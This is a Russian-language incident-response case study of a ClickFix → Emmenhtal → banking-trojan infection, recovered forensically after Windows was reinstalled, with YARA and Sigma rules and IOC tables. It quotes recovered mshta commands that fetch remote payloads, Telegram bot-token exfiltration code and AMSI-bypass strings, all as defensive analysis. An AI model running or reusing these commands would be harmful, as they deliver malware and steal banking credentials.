Реальный кейс: ClickFix → Emmenhtal → банковский троян → Telegram C2. 23 бот-токена, веб-инжекты Bank of America, SMS-граббер — и всё это найдено после переустановки Windows.
Вступление
В конце февраля 2026 года к нам обратилась организация с подозрением на компрометацию рабочей станции бухгалтера. Сценарий знакомый: на экране появился фейковый экран «Обновление Windows», а параллельно в интернет-банке проводились несанкционированные операции.
Но был нюанс, превративший рядовой IR-кейс в форензик-археологию:
Администратор переустановил Windows до снятия forensic-образа. Затем пользователь в тот же день зашла в 8 банковских систем с теми же учётными данными.
Мы получили клон диска (1 ТБ ADATA SE880, NTFS, 930 ГБ данных) через несколько дней. На руках — свежая Windows с чистыми журналами событий и пустой историей браузера. Тело вируса стёрто. Реестр перезаписан. RAM-дамп не снимали. Классический worst-case для IR-команды.
Итого: ~90% доказательств уничтожено.
Вот что нам удалось восстановить из оставшихся 10%.
Содержание
1. Что у нас было (и чего не было)
Начнём с инвентаризации доказательной базы:
|
Источник |
Статус |
Восстановимость |
|---|---|---|
|
Реестр Windows (HKLM, NTUSER.DAT) |
Уничтожен |
Невозможно |
|
EVTX-журналы (Security, System, PS) |
Уничтожены |
Невозможно — только пост-переустановка |
|
Тело вируса (EXE/DLL/JS) |
Уничтожено |
Частично — строки в свободных секторах |
|
Конфигурация вируса |
Уничтожена |
Частично — webinjects.cbw, Telegram-токены |
|
История браузера |
Уничтожена |
Только пост-переустановка (24-25 февраля) |
|
RAM (pagefile.sys) |
Перезаписан |
Чист — новая ОС |
|
Hiberfil.sys |
Перезаписан |
Фрагменты старых данных в нижних слоях |
|
Свободные сектора диска |
Сохранены |
Наш основной источник |
|
MFT новой ОС |
Доступен |
Хронология переустановки |
|
Shimcache / Amcache |
Доступны |
Только пост-переустановка |
|
AnyDesk traces |
Доступны |
Session count: 0 (никто не подключался) |
Свободные сектора — это области диска, которые были заняты файлами старой ОС, но после переустановки помечены как свободные. Данные в них физически не перезаписаны, пока новые файлы не займут эти сектора. На SSD с wear-leveling ситуация сложнее (TRIM может обнулить данные), но в нашем случае большая часть секторов сохранилась.
Хронология переустановки
Из MFT и EVTX новой ОС мы восстановили точную хронологию:
24.02.2026:
15:49 MSK — NTFS отформатирован, Windows переустановлена
16:00-16:05 — OOBE, создание профиля
17:26 — Запуск WPI-набора BELOFF с USB (пиратский установщик)
17:39 — Установка пиратского Office 2021
17:40 — MAS (пиратская активация через PowerShell)
17:45 — Установка AnyDesk 6.0.8 (версия 2021 года, 5+ лет устарела)
17:49 — Подключение к домену
17:54-17:55 — Установка Radmin Server 3.5.2 (8+ лет устарел)
18:53-19:07 — Установка Taxcom, Kontur, CryptoPro (бухгалтерские системы)
21:19-21:22 — ВХОД В АЛЬФА-БАНК Бизнес Онлайн
25.02.2026:
09:03-09:06 — ВХОД В РАЙФФАЙЗЕН Бизнес Онлайн
11:33 — Повторный вход в Райффайзен
13:05 — Вход в Альфа-Банк
Пользователь зашла в банковские системы через 5 часов после переустановки. С теми же учётными данными, на той же машине. Без смены паролей.
2. Методология: IOC-hunting в 930 ГБ сырого диска
Основная идея
При форматировании NTFS и переустановке Windows диск не обнуляется. Новые NTFS-структуры перезаписывают MFT и системные файлы, но подавляющее большинство секторов сохраняет данные предыдущей установки — пока они не будут постепенно заняты новыми файлами.
Наш подход: полнодисковое извлечение строк + паттерн-матчинг по 12 категориям IOC.
Техническая реализация
Прямой доступ к raw-устройству (read-only монтирование):
# Извлечение ASCII-строк (длина >= 10 символов) из сырого диска
strings -t d -n 10 /dev/rdisk2s3 > /tmp/raw_strings.txt
# Параллельный поиск по категориям IOC
grep -iE 'telegram.org/bot|sendmessage|chat_id=' /tmp/raw_strings.txt > telegram.txt
grep -iE 'mshta.*http|mshta.*javascript|mshta.*vbscript' /tmp/raw_strings.txt > mshta.txt
grep -iE 'webinject|formgrab|keylog|mimikatz' /tmp/raw_strings.txt > banking.txt
grep -iE 'ngrok' /tmp/raw_strings.txt > ngrok.txt
grep -iE 'AU3!EA06' /tmp/raw_strings.txt > autoit.txt
Для каждого совпадения мы фиксировали смещение на диске (байтовый offset от начала тома). Это критически важно — смещение позволяет определить, из какой области диска пришла строка: из свободных секторов (уничтоженная ОС) или из активных файлов (текущая ОС).
Результаты первого прохода
|
Категория |
Паттерн |
Совпадений |
|---|---|---|
|
Telegram Bot API |
|
262 строки |
|
mshta-команды |
|
61 строка |
|
Malware-семейства |
|
1791 строка |
|
Банковские артефакты |
|
65 строк |
|
AutoIt-маркеры |
|
10+ вхождений |
|
ngrok |
|
40+ строк |
1791 совпадение по malware-семействам выглядит впечатляюще. На первый взгляд — машина заражена половиной известных вредоносных семейств. Но тут начинается самая интересная часть.
3. Проблема ложноположительных: VDM-дисамбигуация
Почему 95.9% совпадений — это не малварь
Из 1791 совпадения мы увидели строки вроде:
!ClickFix.DEC
AgentTesla.PRTT!MTB
!FormBook.AGEx
!LummaStealer.AAPT
SnakeKeylogger.RDA
!#TEL:Trojan:Win32/Buhtrap.GHM!MTB
Знакомый формат? Это имена сигнатур Windows Defender.
Windows Defender хранит свои антивирусные определения в VDM-файлах (mpasbase.vdm, mpavbase.vdm и их дельты/бэкапы) — это бинарные базы объёмом ~400 МБ. Внутри — строковые имена всех известных Defender’у вредоносных семейств.
Когда вы ищете строку ClickFix на сыром диске — вы неизбежно найдёте сотни совпадений внутри VDM-баз, которые никакого отношения к реальному заражению не имеют.
Методика разделения
-
Локализация VDM. На диске нашлись 12 VDM-файлов:
ProgramData/Microsoft/Windows Defender/Definition Updates/
{84DD86D6-...}/mpasbase.vdm (132 МБ)
{84DD86D6-...}/mpavbase.vdm (68 МБ)
{84DD86D6-...}/mpasdlta.vdm (1.4 МБ)
{84DD86D6-...}/mpavdlta.vdm (1.7 МБ)
Backup/ (~200 МБ)
Default/ (~200 МБ)
-
Определение дискового смещения. Все VDM-файлы расположены в NTFS-области, соответствующей смещению ~25 ГБ от начала тома.
-
Фильтрация. Каждая строка из raw-скана содержит метку смещения. Все записи со смещением ~25 ГБ — VDM-сигнатуры.
Результат
|
Категория |
Количество |
% |
|---|---|---|
|
Всего совпадений |
1791 |
100% |
|
VDM-сигнатуры (область 25 ГБ) |
1717 |
95.9% |
|
Реальные артефакты (другие смещения) |
74 |
4.1% |
Из 74 “реальных” записей подавляющее большинство оказались ложноположительными совпадениями с легитимным кодом:
|
Строка |
Реальный источник |
|---|---|
|
|
CSS-класс в минифицированном JavaScript |
|
|
Переменная .NET |
|
|
Флаг фичи Windows |
|
|
Метод Chromium |
|
|
WMI-сервис Windows |
|
|
Имя правила детекции Defender |
Урок для IR-практиков: при сканировании raw-диска на строки malware-семейств всегда вычитайте содержимое VDM/сигнатурных баз. Без этого шага ваш IOC-лист будет завышен на порядок.
Реальные IOC трояна (webinjects.cbw, Telegram-токены, mshta-команды, JavaScript-код эксфильтрации) были подтверждены из других категорий — через контекстуальный анализ JavaScript-кода, API-вызовов и URL-команд, которые не могут быть частью VDM.
4. Telegram-токены: от 262 строк к 23 реальным ботам
Проблема ложноположительных (часть 2)
Паттерн Telegram Bot Token ([0-9]{8,10}:[A-Za-z0-9_-]{10,}) матчит далеко не только ботов. Из 262 строк и 53 уникальных кандидатов, 30 оказались мусором:
|
“Токен” |
Реальный источник |
|---|---|
|
|
Yandex Metrika |
|
|
JavaScript |
|
|
ASCII charset test |
|
|
Mail.ru CSRF-токен |
|
|
Бинарные данные (JPEG-заголовки) |
Результат фильтрации
23 реальных Telegram-бота (9 полных токенов + 14 фрагментов). Ключевой критерий реальности — JavaScript-контекст:
// Вариант 1: прямое присвоение
var telegram_bot_id = "7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom";
// Вариант 2: API-вызов с chat_id
telegram.org/bot6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu/sendmessage?chat_id=6481270908
// Вариант 3: const + apikey
const apikey = '7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4';
// Вариант 4: var + token
var token = '5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k';
// Вариант 5: let + обфусцированное имя
let yxz = '6158050829:aafcxihqt0ymqlkj2trnjrrcoicdxashoay';
Разнообразие паттернов (var/const/let, разные имена переменных — telegram_bot_id, apikey, token, yxz) и количество токенов (23) указывают на MaaS-модель с множественными операторами или ротацией ботов между кампаниями.
Верификация через API
Все 9 полных токенов проверены:
curl -s "https://api.telegram.org/bot7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom/getMe"
# {"ok":false,"error_code":401,"description":"Unauthorized"}
Результат для всех 9: 401 Unauthorized — боты удалены или отозваны к моменту анализа.
Полный список полных токенов
|
# |
Bot ID |
Token |
Контекст |
|---|---|---|---|
|
1 |
7217369886 |
|
|
|
2 |
6989057172 |
|
sendmessage + chat_id |
|
3 |
5450319009 |
|
|
|
4 |
7108437914 |
|
standalone |
|
5 |
7200176830 |
|
|
|
6 |
6158050829 |
|
|
|
7 |
7150547715 |
|
|
|
8 |
7210144457 |
|
|
|
9 |
8210503521 |
|
|
Chat ID получателя: 6481270908 — единственный chat_id, обнаруженный в API-вызовах. Это аккаунт злоумышленника, куда стекались все украденные данные.
5. Hiberfil.sys: подтверждение исполнения в RAM
Зачем анализировать hiberfil.sys
hiberfil.sys — файл гибернации Windows, по сути дамп оперативной памяти, записываемый при переходе в режим гибернации. Хотя файл был перезаписан новой ОС (дата модификации — 25.02.2026, 13:09), в нижних слоях диска (свободные сектора в месте хранения старого hiberfil.sys) могли сохраниться фрагменты данных из периода до переустановки.
Файл весит 64 ГБ. Мы не пытались парсить его структуру (заголовок уже от новой ОС), а использовали поиск строк:
strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'telegram|sendmessage|bot[0-9]{7}' > /tmp/hiberfil_telegram.txt
strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'mshta|klipjaqemiu|codebizz|refinim' > /tmp/hiberfil_mshta.txt
strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'webinject|formgrab|keylog|mimikatz' > /tmp/hiberfil_banking.txt
Критические находки
5.1 Telegram-токены — подтверждены в RAM
Те же токены, что и на raw-диске, обнаружены в hiberfil.sys:
bot6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu/sendmessage?chat_id=6481270908
var telegram_bot_id="7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom"
var token='5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k'
const apikey='7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4'
Значимость: Если данные найдены в hiberfil.sys — значит вредоносное ПО было загружено в оперативную память и активно функционировало. Это не просто файл на диске — это работающий процесс.
5.2 JavaScript-код эксфильтрации — восстановлен
Из hiberfil.sys удалось извлечь фрагменты кода трояна:
// Код отправки данных
fetch(telegramurl, {
method: 'post',
headers: {'content-type': 'application/json'},
body: ...
});
// Подтверждение отправки
if (response.ok) { alert('data sent to telegram?...') }
// XHR-запрос к подозрительному домену
var xhr = new XMLHttpRequest();
xhr.open("get", "//lurgee.stream/?mrqkckdvdd_" + win...
5.3 Base64-encoded webinject — Bank of America
В hiberfil.sys обнаружена Base64-строка:
dGl0bGU+QmFuayBvZiBBbWVyaWNhIHwgT25saW5lIEJhbmtpbmcgfCBWZXJpZmljYXRpb24gUGFnZTwvP
Декодирование:
<title>Bank of America | Online Banking | Verification Page</title>
Фишинговая страница Bank of America, внедряемая через webinjects. Это доказывает, что троян содержал инжекты не только для российских, но и для международных банков.
5.4 Модульная структура трояна
Из hiberfil.sys восстановлена структура модулей:
|
Находка |
Значение |
|---|---|
|
|
Архитектура модулей: бот-связь, кейлоггер, скриншоты, C2 |
|
|
SMS-граббер — перехват SMS для обхода 2FA |
|
|
DPAPI-кейлоггер для перехвата Windows credentials |
|
|
Скрытый кейлоггер со записью экрана |
|
|
Бесшумный режим кейлоггера |
|
|
Сбор данных из Telegram-приложения пользователя |
|
|
PDB debug-путь формграббера |
5.5 Новые домены
|
Домен |
Контекст |
|---|---|
|
|
URL конфигурации webinjects (.cbw файл) |
|
|
XHR GET-запрос из кода трояна |
5.6 Ngrok — доставка .dotm
://816e-182-227-90-53.ngrok.io/open.dotm
Формат .dotm — Microsoft Word Template с макросами. Ngrok-туннель использовался не только как C2, но и для доставки вредоносных документов.
Почему hiberfil.sys важнее raw-диска
В отличие от raw-диска, hiberfil.sys не содержит VDM-баз Defender. Все совпадения в hiberfil.sys — это строки, которые были в оперативной памяти. Обнаружение тех же IOC в двух независимых источниках (свободные сектора диска + hiberfil.sys) подтверждает их подлинность.
6. Kill Chain: ClickFix → Emmenhtal → Banking Trojan
На основании всех восстановленных артефактов мы реконструировали полную цепочку атаки:
СТАДИЯ 0: СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ — ClickFix
│
│ Жертва попадает на страницу с фейковой CAPTCHA
│ (life-captcha.*, Dropbox-лура с украинской тематикой)
│
│ JavaScript verify() копирует команду в буфер обмена:
│ mshta https://klipjaqemiu.shop/web44.mp4
│
│ Инструкция: "Нажмите Win+R → Ctrl+V → Enter"
│
▼
СТАДИЯ 1: MSHTA.EXE — Загрузка polyglot
│
│ mshta.exe загружает файл web44.mp4
│ .mp4 = polyglot (легитимный PE-заголовок + HTA-код в конце)
│ mshta парсит HTA-часть: <hta:application id="ohta">
│ Выполняет встроенный JavaScript
│
▼
СТАДИЯ 2: JAVASCRIPT → POWERSHELL — Деобфускация
│
│ String.fromCharCode() + eval() → PowerShell-скрипт
│ Execution Policy → Bypass / Unrestricted
│ -WindowStyle Hidden (невидимое окно)
│
▼
СТАДИЯ 3: AES + REFLECTION — Fileless-загрузка
│
│ PowerShell:
│ 1. AES-дешифрование второй стадии (~10 МБ обфускации)
│ 2. Bypass AMSI через модификацию CLR DLL в памяти
│ 3. Отключение trace-логов (anti-forensics)
│ 4. [System.Reflection.Assembly]::Load() — загрузка .NET в память
│
│ Результат: payload работает полностью в RAM, без записи на диск
│
▼
СТАДИЯ 4: БАНКОВСКИЙ ТРОЯН — Активная фаза
│
│ ┌── Webinjects (webinjects.cbw)
│ │ Подмена содержимого банковских страниц
│ │ Включая Bank of America (международные инжекты)
│ │
│ ├── Formgrabber (insertFormGrabberKit.pdb)
│ │ Перехват данных из HTML-форм
│ │
│ ├── Keylogger + Screen Recording
│ │ tasks.media.screenrecord/app/hidden/keylogger
│ │ HOMEKEYLOGGER_MUTE — бесшумный режим
│ │ DPAPICredKeyLogg — перехват Windows credentials
│ │
│ ├── SMS Grabber
│ │ Перехват SMS для обхода 2FA
│ │
│ ├── Mimikatz (reflective)
│ │ Извлечение паролей из памяти Windows
│ │ Рефлективная загрузка (без записи mimikatz.exe на диск)
│ │
│ ├── Telegram Data Theft
│ │ "Collecting Telegram data (main thread)"
│ │
│ └── Fake "Windows Update" Screen
│ Блокировка экрана при проведении операций в банке
│
▼
СТАДИЯ 5: ЭКСФИЛЬТРАЦИЯ
│
│ Канал 1: Telegram Bot API
│ → 23 бота → Chat ID 6481270908
│ → fetch(telegramurl, {method:'post'})
│ → /sendMessage, /sendDocument
│
│ Канал 2: Ngrok C2
│ → 816e-182-227-90-53.ngrok.io
│ → Доставка .dotm (Word-макросы)
│ → IP: 182.227.90.53 (Сеул, Ю.Корея)
│
│ Канал 3: HTTP exfiltration
│ → marathon.teachmemoney.net (webinject config)
│ → lurgee.stream (XHR GET)
│ → /eme/03/index.php (FormGrabberKit endpoint)
Восстановленные mshta-команды
Из raw-диска извлечено 40+ уникальных mshta-команд. Вот ключевые:
# 1. ClickFix → Emmenhtal
verify(){const texttocopy=`mshta https://klipjaqemiu.shop/web44.mp4`
# 2. Обфускация через .insert()
-c 'mshta'.insert(5,'https://codebizz.com/7896745657879090.mp4')
# 3. Фейковый Zoho WorkDrive + substring()
mshta https://awakka-aws3.zoho-documents.com/hekko.mp4
# 4. PowerShell → mshta
powershell -windowstyle hidden -command mshta https://ezstat.ru/
# 5. VBScript dropper
mshta vbscript:createobject("wscript.shell").run "powershell -..."
# 6. CMD → mshta → JavaScript
c:windowssystem32cmd.exe /c mshta "javascript:var _$_..."
# 7. Фейковая CAPTCHA
mshta.exe https://life-captcha...
# 8. Российский хостинг
system32mshta.exe http://a0716572.xsph.ru/ques
# 9. HTA payload
-noprofile -command "mshta https://refinim.site/ruzirious"
Разнообразие техник обфускации (.insert(), .substring(), javascript:, vbscript:, PowerShell relay, CMD wrapper) говорит о промышленном подходе к доставке — это не одиночный скрипт, а инструментарий с множественными вариантами доставки.
AutoIt-компонент
На диске обнаружены маркеры скомпилированных AutoIt-скриптов (AU3!EA06) на 6 разных смещениях (0, 25, 51, 71, 75, 84 ГБ). AutoIt широко используется в банковских троянах Buhtrap/RTM для автоматизации действий в интернет-банке.
7. OSINT и атрибуция
Emmenhtal Loader: профиль
|
Параметр |
Значение |
|---|---|
|
Семейство |
Emmenhtal (aka PEAKLIGHT, IDATDropper) |
|
Впервые обнаружен |
Февраль 2024 |
|
Раскрыт публично |
Август 2024 (Orange Cyberdefense + Mandiant) |
|
Модель |
MaaS (Malware-as-a-Service) |
|
SHA256 нашего образца |
|
|
MD5 |
|
|
URL доставки |
|
|
Вердикт ANY.RUN |
MALICIOUS |
|
ThreatFox |
380 sightings |
|
Доставляемые семейства |
Lumma, CryptBot, Amadey, SmokeLoader, DarkGate, Remcos + 10 других |
|
Инфраструктура |
100+ WebDAV-серверов (Sekoia.io), ASN: Terasyst, Zonata, BL Networks |
Кластер доменов
Паттерн klip*.shop, регистрация Namecheap, Cloudflare NS, Исландия:
|
Домен |
Файл |
SHA256 |
|---|---|---|
|
|
web44.mp4 |
|
|
|
web.png (2-я стадия) |
— |
|
|
web44.dle |
|
|
|
kongo.mp4 |
|
|
|
web44.mp4 |
|
OSINT по доменам из инцидента
|
Домен |
Статус |
Роль |
|---|---|---|
|
|
MALICIOUS (ANY.RUN, ThreatFox) |
Emmenhtal payload host |
|
|
Заблокирован GoDaddy (clientDeleteProhibited) |
Фейковый .mp4 |
|
|
Trust Score 1/100, blacklisted |
IP-трекер (сеть iplogger.org) |
|
|
Подозрительный |
HTA payload via mshta |
|
|
Тайпосквоттинг Zoho |
Фейковый WorkDrive |
|
|
Подозрительный |
VBScript dropper |
|
|
Подозрительный |
Webinject config (.cbw) |
|
|
Подозрительный |
XHR exfiltration endpoint |
IP-адреса
|
IP |
Геолокация |
ISP |
Роль |
OSINT |
|---|---|---|---|---|
|
182.227.90.53 |
Сеул, Ю.Корея |
LG POWERCOMM, AS17858 |
Ngrok C2-туннель |
Резидентный, скомпрометированное устройство |
|
188.114.96.3 |
Cloudflare |
AS13335 |
Proxy klipjaqemiu.shop |
801 abuse-отчёт на AbuseIPDB |
|
185.215.113.43 |
— |
— |
Amadey C2 |
Cisco Talos |
|
88.151.192.165 |
— |
— |
SmokeLoader C2 |
G-Data |
Атрибуция
|
Группировка |
Совпадение |
Характеристики |
|---|---|---|
|
CoralRaider (Вьетнам) |
ВЫСОКОЕ |
Cisco Talos атрибуция Emmenhtal, LNK→mshta→HTA→PS цепочка |
|
Emmenhtal / PeakLight |
ПОДТВЕРЖДЕНО |
Домен, SHA256, ThreatFox |
|
ClickFix |
ВЫСОКОЕ |
Метод #1 initial access 2025 (47% атак по Microsoft) |
|
Buhtrap / RTM (наследники) |
СРЕДНЕЕ |
Те же TTP (бухгалтеры РФ, веб-инжекты, AutoIt) |
Аналогичные кампании против российских финансистов (2025-2026)
|
Кампания |
Период |
Малварь |
C2 |
|---|---|---|---|
|
MoneyMount-ISO / Phantom Stealer |
июнь-сентябрь 2025 |
Custom stealer |
Telegram |
|
Amnesia RAT + Hakuna Matata |
январь 2026 |
RAT + ransomware |
Telegram |
|
DupeHike / DUPERUNNER (UNG0902) |
ноябрь 2025+ |
C++ implant |
AdaptixC2 |
|
Наш инцидент |
февраль 2026 |
Banking trojan |
Telegram |
8. Правила детекции: YARA и Sigma
Мы публикуем 10 YARA-правил и 10 Sigma-правил для детекции наблюдаемой цепочки атаки.
YARA-правила
1. Emmenhtal Polyglot (.mp4 + HTA)
rule Emmenhtal_Polyglot_MP4_HTA
{
meta:
description = "Emmenhtal polyglot: PE header + embedded HTA + PowerShell"
author = "IDEANIX LLC"
date = "2026-03-14"
hash = "4864E60175EC2FB6F2724C0830C3BF09C043D327C5824E77C8C2A8B2E077FDCF"
mitre_attack = "T1218.005"
strings:
$mz = "MZ" at 0
$hta1 = "<hta:application" ascii nocase
$hta2 = "hta:application id=" ascii nocase
$ps1 = "powershell" ascii nocase
$ps2 = "Reflection.Assembly" ascii nocase
$fromchar = "String.fromCharCode" ascii
condition:
$mz and filesize > 100KB and
(1 of ($hta*)) and
(1 of ($ps*) or $fromchar)
}
2. Telegram Bot JS Exfiltration
rule Telegram_Bot_JS_Exfiltration
{
meta:
description = "JavaScript exfiltrating data via Telegram Bot API"
author = "IDEANIX LLC"
mitre_attack = "T1567"
strings:
$api1 = "api.telegram.org/bot" ascii nocase
$api2 = "telegram.org/bot" ascii nocase
$send1 = "/sendMessage" ascii nocase
$send2 = "/sendDocument" ascii nocase
$send3 = "chat_id=" ascii
$token = /[0-9]{8,10}:AA[A-Za-z0-9_-]{30,}/ ascii
$js1 = "var telegram_bot_id" ascii nocase
$js2 = "const apikey" ascii nocase
$fetch = "fetch(" ascii
condition:
(1 of ($api*) and 1 of ($send*)) or
($token and 1 of ($js*)) or
($token and $fetch and $send3)
}
3. Banking Trojan Webinjects (.cbw)
rule Banking_Trojan_Webinjects_CBW
{
meta:
description = "Banking trojan webinject configuration (.cbw format)"
author = "IDEANIX LLC"
mitre_attack = "T1185"
strings:
$cbw1 = "webinjects.cbw" ascii nocase
$cbw2 = "webinject.log" ascii nocase
$grab1 = "formgrabber" ascii nocase
$grab2 = "formgrab" ascii nocase
$inject1 = "data_inject" ascii nocase
$inject2 = "data_before" ascii nocase
$inject3 = "data_after" ascii nocase
condition:
(1 of ($cbw*) and 1 of ($grab*)) or
(3 of ($inject*))
}
4. ClickFix Fake CAPTCHA
rule ClickFix_Fake_Captcha
{
meta:
description = "ClickFix social engineering: fake CAPTCHA + clipboard injection"
author = "IDEANIX LLC"
mitre_attack = "T1204.001"
strings:
$verify = "verify()" ascii nocase
$captcha1 = "life-captcha" ascii nocase
$captcha2 = "i am not a robot" ascii nocase
$captcha3 = "press Win+R" ascii nocase
$clip1 = "texttocopy" ascii nocase
$clip2 = "navigator.clipboard" ascii nocase
$clip3 = "execCommand('copy')" ascii nocase
$mshta = "mshta" ascii nocase
$ps = "powershell" ascii nocase
condition:
(1 of ($captcha*) or $verify) and
(1 of ($clip*)) and
($mshta or $ps)
}
Sigma-правила
1. Mshta + .shop (Emmenhtal delivery)
title: Mshta Execution with .shop Domain
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: mshta.exe loading from .shop TLD — Emmenhtal loader
author: IDEANIX LLC
tags:
- attack.t1218.005
logsource:
category: process_creation
product: windows
detection:
selection_mshta:
Image|endswith: 'mshta.exe'
selection_shop:
CommandLine|contains: '.shop'
condition: selection_mshta and selection_shop
level: critical
2. PowerShell Reflection + AES (fileless .NET)
title: PowerShell Reflection Assembly with AES
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Fileless .NET loading with AES — Emmenhtal signature
author: IDEANIX LLC
tags:
- attack.t1059.001
- attack.t1620
logsource:
category: process_creation
product: windows
detection:
selection_ps:
Image|endswith:
- 'powershell.exe'
- 'pwsh.exe'
selection_reflection:
CommandLine|contains:
- 'Reflection.Assembly'
- 'Assembly::Load'
selection_crypto:
CommandLine|contains:
- 'AesCryptoServiceProvider'
- 'RijndaelManaged'
condition: selection_ps and selection_reflection and selection_crypto
level: critical
3. Telegram Bot API от не-браузера
title: Telegram Bot API from Non-Browser Process
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Non-browser Telegram Bot API traffic — data exfiltration
author: IDEANIX LLC
tags:
- attack.t1567
logsource:
category: proxy
detection:
selection_url:
c-uri|contains: 'api.telegram.org/bot'
filter_browsers:
c-useragent|contains:
- 'Mozilla'
- 'Chrome'
- 'Firefox'
condition: selection_url and not filter_browsers
level: high
4. AMSI Bypass в PowerShell
title: AMSI Bypass Attempt in PowerShell
id: c9d0e1f2-a3b4-5678-cdef-789012345678
status: experimental
description: Common AMSI bypass techniques used by Emmenhtal
author: IDEANIX LLC
tags:
- attack.t1562
logsource:
category: ps_script
product: windows
detection:
selection:
ScriptBlockText|contains:
- 'AmsiUtils'
- 'amsiInitFailed'
- 'AmsiScanBuffer'
- 'SetValue($null,$true)'
condition: selection
level: critical
Полные наборы правил (10 YARA + 10 Sigma) доступны в приложении.
9. IOC
Домены
|
Домен |
Роль |
Статус |
|---|---|---|
|
|
Emmenhtal payload host |
MALICIOUS |
|
|
2-я стадия payload |
MALICIOUS |
|
|
Связанный Emmenhtal домен |
MALICIOUS |
|
|
Связанный Emmenhtal домен |
MALICIOUS |
|
|
Связанный Emmenhtal домен |
MALICIOUS |
|
|
Доставка фейковых .mp4 |
Locked by registrar |
|
|
HTA payload delivery |
Suspicious |
|
|
Тайпосквоттинг Zoho |
Suspicious |
|
|
IP-трекер (iplogger.org) |
Trust Score 1/100 |
|
|
VBScript dropper |
Suspicious |
|
|
Webinject config server |
Suspicious |
|
|
XHR exfiltration |
Suspicious |
Хеши
|
Тип |
Хеш |
Файл |
|---|---|---|
|
SHA-256 |
|
klipjaqemiu.shop/web44.mp4 |
|
MD5 |
|
то же |
|
SHA-1 |
|
то же |
|
SHA-256 |
|
web44.mp4 (alt domain) |
|
SHA-256 |
|
savecoupons.store/web44.mp4 |
|
SHA-256 |
|
klipderiq.shop/sh |
|
SHA-256 |
|
klipderiq.shop/kongo.mp4 |
Сетевые индикаторы
|
IP |
Контекст |
|---|---|
|
|
Cloudflare proxy klipjaqemiu.shop (801 abuse-отчёт) |
|
|
IP за ngrok C2 (Сеул, LG POWERCOMM) |
|
|
Amadey C2 (Emmenhtal MaaS, Cisco Talos) |
|
|
SmokeLoader C2 (Emmenhtal MaaS, G-Data) |
Telegram
|
Тип |
Значение |
|---|---|
|
Chat ID (атакующий) |
|
|
Bot #1 |
|
|
Bot #2 |
|
|
Bot #3 (фрагмент) |
|
|
Bot #4 |
|
|
Bot #5 |
|
|
Bot #6 |
|
|
Bot #7 |
|
|
Bot #8 |
|
|
Bot #9 |
|
|
Bot #10 |
|
Ngrok
|
Индикатор |
Контекст |
|---|---|
|
|
C2 + доставка Word-макросов |
URL
|
URL |
Контекст |
|---|---|
|
|
Сервер FormGrabberKit |
|
|
Конфигурация webinjects |
10. Выводы и рекомендации
Что мы узнали
-
Переформатированный диск — не приговор. Из 930 ГБ свободных секторов мы восстановили 23 Telegram-бота, 40+ mshta-команд, веб-инжекты, JavaScript-код эксфильтрации, PDB-путь формграббера и модульную структуру трояна. Достаточно, чтобы реконструировать полную kill chain от initial access до exfiltration.
-
VDM-дисамбигуация — must-have. 95.9% совпадений по строкам malware-семейств были ложноположительными из баз Windows Defender. Без этого шага отчёт содержал бы тысячи фантомных IOC.
-
Hiberfil.sys — недооценённый источник. Даже после переустановки ОС фрагменты старого hiberfil.sys сохраняются в свободных секторах. Мы подтвердили активность трояна в RAM через анализ hiberfil.sys.
-
Telegram как C2 — новая норма. 23 бота в одном инциденте. По данным Bitsight, ~1800 Telegram-ботов обрабатывают 5 млн+ украденных лог-файлов. Encrypted transport + глобальная доступность + простой API = идеальный C2.
-
ClickFix + Emmenhtal — production-grade kill chain. ClickFix (фейковая CAPTCHA → clipboard → Win+R) + Emmenhtal (polyglot → AES → Reflection → fileless) — эта связка устойчива к большинству endpoint-защит. Метод #1 для initial access в 2025 (47% атак по Microsoft).
-
MaaS-модель усложняет атрибуцию. Emmenhtal продаётся как сервис. Ваш IOC — не конкретная APT-группа, а клиент MaaS-платформы, арендующий инфраструктуру для доставки своего payload.
Рекомендации для IR-команд
-
Никогда не переустанавливайте ОС до forensics. 30 минут на создание образа диска + дамп RAM дают на порядок больше доказательств.
-
При raw-скане всегда вычитайте VDM. Без дисамбигуации ваш IOC-лист будет содержать тысячи ложноположительных.
-
Не забывайте hiberfil.sys. Даже перезаписанный — его фрагменты могут подтвердить исполнение в RAM.
-
Фильтруйте Telegram-токены. Паттерн
[0-9]{10}:[A-Za-z0-9_-]{35}матчит Yandex banerid, JS-константы, CSRF-токены и бинарные данные.
Рекомендации для защитников
-
Заблокируйте mshta.exe через AppLocker/WDAC. Легитимное использование в 99% сред равно нулю.
-
Мониторьте Telegram Bot API на прокси/NGFW. Не-браузерные процессы, обращающиеся к
api.telegram.org— триггер для алерта. -
Включите PowerShell Script Block Logging и Constrained Language Mode. Это два самых эффективных контрола против PowerShell-стадии Emmenhtal.
-
Разверните Sysmon с правилами на цепочки процессов:
mshta → powershell → powershell. -
Сегментируйте банковские рабочие станции. Бухгалтер, работающий с 8 банками, не должен иметь доступ к произвольным сайтам.
-
Откажитесь от пиратского ПО на критичных станциях. WPI-наборы и пиратские активаторы — потенциальный вектор заражения и запускаются от SYSTEM.
MITRE ATT&CK Mapping
|
ID |
Техника |
Доказательство |
|---|---|---|
|
T1204.001 |
User Execution: Malicious Link |
ClickFix fake CAPTCHA |
|
T1218.005 |
Mshta |
40+ команд, основной вектор доставки |
|
T1059.001 |
PowerShell |
AES + Reflection + AMSI bypass |
|
T1059.005 |
VBScript |
|
|
T1059.007 |
JavaScript |
|
|
T1027 |
Obfuscated Files |
Base64, AES, polyglot PE+HTA |
|
T1036.008 |
Masquerading: File Extension |
.mp4 = PE+HTA polyglot |
|
T1620 |
Reflective Code Loading |
|
|
T1562.001 |
Impair Defenses |
AMSI bypass, trace disable |
|
T1056.001 |
